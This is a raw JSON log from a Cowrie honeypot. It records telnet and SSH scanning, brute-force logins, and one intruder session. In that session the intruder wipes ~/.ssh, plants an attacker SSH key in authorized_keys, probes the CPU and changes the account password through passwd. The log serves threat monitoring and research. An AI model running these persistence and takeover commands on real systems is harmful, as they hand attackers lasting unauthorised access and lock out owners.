{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":43092,"dst_ip":"10.17.0.5","dst_port":23,"session":"4ac4f8c9bc11","protocol":"telnet","message":"New connection: 146.185.21.169:43092 (10.17.0.5:23) [session: 4ac4f8c9bc11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:47:47.108013Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":53610,"dst_ip":"10.17.0.5","dst_port":23,"session":"d35b1d8050be","protocol":"telnet","message":"New connection: 146.185.21.169:53610 (10.17.0.5:23) [session: d35b1d8050be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:47:57.186520Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":55442,"dst_ip":"10.17.0.5","dst_port":23,"session":"41878979ba46","protocol":"telnet","message":"New connection: 146.185.21.169:55442 (10.17.0.5:23) [session: 41878979ba46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:48:01.065625Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":57996,"dst_ip":"10.17.0.5","dst_port":23,"session":"14b16b11b86e","protocol":"telnet","message":"New connection: 146.185.21.169:57996 (10.17.0.5:23) [session: 14b16b11b86e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:48:02.243210Z"}
{"eventid":"cowrie.session.closed","duration":30.43510150909424,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:48:05.247272Z","src_ip":"146.185.21.169","session":"b21f9d4192a3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.978499174118042,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:48:07.079546Z","src_ip":"146.185.21.169","session":"f03d4ec15eaf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.54939126968384,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:48:09.459954Z","src_ip":"146.185.21.169","session":"53aefb8898d7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":35196,"dst_ip":"10.17.0.5","dst_port":23,"session":"a2f46f3dc815","protocol":"telnet","message":"New connection: 146.185.21.169:35196 (10.17.0.5:23) [session: a2f46f3dc815]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:48:10.379543Z"}
{"eventid":"cowrie.session.closed","duration":30.408746480941772,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:48:11.154645Z","src_ip":"94.46.12.68","session":"a0c015710234","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.114625930786133,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:48:18.222560Z","src_ip":"146.185.21.169","session":"4ac4f8c9bc11","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.94685506820679,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:48:20.182419Z","src_ip":"146.185.21.169","session":"b4312f9f347d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":54252,"dst_ip":"10.17.0.5","dst_port":23,"session":"f4bfcb5e2f41","protocol":"telnet","message":"New connection: 146.185.21.169:54252 (10.17.0.5:23) [session: f4bfcb5e2f41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:48:25.058267Z"}
{"eventid":"cowrie.session.closed","duration":0.0053789615631103516,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:48:25.063502Z","src_ip":"146.185.21.169","session":"f4bfcb5e2f41","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.85763669013977,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:48:28.044046Z","src_ip":"146.185.21.169","session":"d35b1d8050be","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.99026584625244,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:48:32.055772Z","src_ip":"146.185.21.169","session":"41878979ba46","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.842095613479614,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:48:33.084876Z","src_ip":"146.185.21.169","session":"14b16b11b86e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.660685539245605,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:48:41.040128Z","src_ip":"146.185.21.169","session":"a2f46f3dc815","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00162506103516,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:48:55.891444Z","src_ip":"185.225.40.236","session":"c71efc679b99","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.225.40.236","src_port":22561,"dst_ip":"159.203.135.109","dst_port":23,"session":"6b92f26cf288","protocol":"telnet","message":"New connection: 185.225.40.236:22561 (159.203.135.109:23) [session: 6b92f26cf288]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:48:56.720311Z"}
{"eventid":"cowrie.session.closed","duration":120.0025942325592,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:49:00.360589Z","src_ip":"185.225.40.236","session":"e89e7d996717","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":57860,"dst_ip":"10.17.0.5","dst_port":23,"session":"54202d7aa734","protocol":"telnet","message":"New connection: 146.185.21.169:57860 (10.17.0.5:23) [session: 54202d7aa734]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:49:01.764270Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.225.40.236","src_port":8995,"dst_ip":"159.203.135.109","dst_port":23,"session":"84f5e01b6cfc","protocol":"telnet","message":"New connection: 185.225.40.236:8995 (159.203.135.109:23) [session: 84f5e01b6cfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:49:02.142049Z"}
{"eventid":"cowrie.session.connect","src_ip":"115.190.179.68","src_port":33200,"dst_ip":"159.203.135.109","dst_port":22,"session":"2109551ae020","protocol":"ssh","message":"New connection: 115.190.179.68:33200 (159.203.135.109:22) [session: 2109551ae020]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:49:12.521348Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:49:12.527001Z","src_ip":"115.190.179.68","session":"2109551ae020","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:49:12.758016Z","src_ip":"115.190.179.68","session":"2109551ae020","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"!QAZ2wsx","message":"login attempt [oracle/!QAZ2wsx] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:49:14.931834Z","src_ip":"115.190.179.68","session":"2109551ae020","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:49:15.454348Z","src_ip":"115.190.179.68","session":"2109551ae020","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:49:15.458951Z","src_ip":"115.190.179.68","session":"2109551ae020","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:49:15.463866Z","src_ip":"115.190.179.68","session":"2109551ae020","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:49:15.698418Z","src_ip":"115.190.179.68","session":"2109551ae020","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.79.42.117","src_port":60978,"dst_ip":"159.203.135.109","dst_port":22,"session":"5152930ef037","protocol":"ssh","message":"New connection: 72.79.42.117:60978 (159.203.135.109:22) [session: 5152930ef037]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:49:17.030193Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:49:17.034616Z","src_ip":"72.79.42.117","session":"5152930ef037","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:49:17.043704Z","src_ip":"72.79.42.117","session":"5152930ef037","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:49:17.130323Z","src_ip":"115.190.179.68","session":"2109551ae020","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:49:17.133493Z","src_ip":"115.190.179.68","session":"2109551ae020","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"Qwerty123","message":"login attempt [minecraft/Qwerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:49:17.203893Z","src_ip":"72.79.42.117","session":"5152930ef037","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:49:17.369385Z","src_ip":"115.190.179.68","session":"2109551ae020","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:49:17.373161Z","src_ip":"115.190.179.68","session":"2109551ae020","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.190.179.68","src_port":33208,"dst_ip":"159.203.135.109","dst_port":22,"session":"f5c5b536fe21","protocol":"ssh","message":"New connection: 115.190.179.68:33208 (159.203.135.109:22) [session: f5c5b536fe21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:49:17.591589Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:49:17.595990Z","src_ip":"115.190.179.68","session":"f5c5b536fe21","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:49:17.824681Z","src_ip":"115.190.179.68","session":"f5c5b536fe21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:49:18.213937Z","src_ip":"72.79.42.117","session":"5152930ef037","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:49:18.772371Z","src_ip":"115.190.179.68","session":"f5c5b536fe21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:49:20.009160Z","src_ip":"115.190.179.68","session":"f5c5b536fe21","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:49:26.285374Z","src_ip":"115.190.179.68","session":"2109551ae020","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:49:26.288603Z","src_ip":"115.190.179.68","session":"2109551ae020","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:49:26.521804Z","src_ip":"115.190.179.68","session":"2109551ae020","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:49:27.015965Z","src_ip":"115.190.179.68","session":"2109551ae020","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"!QAZ2wsx\\naap7PYG5Ph7h\\naap7PYG5Ph7h\"|passwd|bash","message":"CMD: echo -e \"!QAZ2wsx\\naap7PYG5Ph7h\\naap7PYG5Ph7h\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:49:27.019089Z","src_ip":"115.190.179.68","session":"2109551ae020","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:49:27.022069Z","src_ip":"115.190.179.68","session":"2109551ae020","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:49:27.024767Z","src_ip":"115.190.179.68","session":"2109551ae020","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/8e126822f6da7d75b8f50e09dfd6f7287747d787ace53c4d11e703306ab07c23","size":32,"shasum":"8e126822f6da7d75b8f50e09dfd6f7287747d787ace53c4d11e703306ab07c23","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/8e126822f6da7d75b8f50e09dfd6f7287747d787ace53c4d11e703306ab07c23 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:49:27.257738Z","src_ip":"115.190.179.68","session":"2109551ae020","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:49:27.772423Z","src_ip":"115.190.179.68","session":"2109551ae020","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"!QAZ2wsx\\naap7PYG5Ph7h\\naap7PYG5Ph7h\\n\"|passwd","message":"CMD: echo \"!QAZ2wsx\\naap7PYG5Ph7h\\naap7PYG5Ph7h\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:49:27.776305Z","src_ip":"115.190.179.68","session":"2109551ae020","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/da5099e2e3209d200bb4b1618474c56ca2286d480c782db2cf5402302b09154e","size":25,"shasum":"da5099e2e3209d200bb4b1618474c56ca2286d480c782db2cf5402302b09154e","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/da5099e2e3209d200bb4b1618474c56ca2286d480c782db2cf5402302b09154e after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:49:28.011681Z","src_ip":"115.190.179.68","session":"2109551ae020","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:49:28.556667Z","src_ip":"115.190.179.68","session":"2109551ae020","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:49:28.559762Z","src_ip":"115.190.179.68","session":"2109551ae020","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:49:28.794388Z","src_ip":"115.190.179.68","session":"2109551ae020","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:49:29.322245Z","src_ip":"115.190.179.68","session":"2109551ae020","protocol":"ssh"}
